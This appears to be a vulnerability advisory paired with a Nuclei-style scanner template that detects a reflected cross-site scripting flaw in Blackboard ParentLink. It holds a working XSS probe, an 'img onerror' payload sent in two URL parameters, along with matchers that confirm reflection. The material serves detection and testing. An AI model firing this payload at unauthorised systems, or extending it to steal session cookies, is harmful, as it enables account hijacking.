Blackboard contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: parentlink-xss
info:
name: Blackboard - Cross-Site Scripting
author: r3naissance
severity: high
description: Blackboard contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://help.blackboard.com/Community_Engagement/Administrator/Release_Notes
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
max-request: 2
tags: blackboard,parentlink,xss,vuln
http:
- method: GET
path:
- '{{BaseURL}}/main/blank?message_success=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E'
- '{{BaseURL}}/main/blank?message_error=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E'
matchers-condition: and
matchers:
- type: word
words:
- '<img src=c onerror=alert(8675309)>'
part: body
- type: word
words:
- "text/html"
part: header
- type: status
status:
- 200
# digest: 490a0046304402207571374db773f9097aa9256a14294917f20191244ae7ae4abfae5b1cc84845d402205fe7723b382345c92f7d04d44d2eeaa5d3387fc605a8616784b859baa843295e:922c64590222798bb761d5b6d8e72950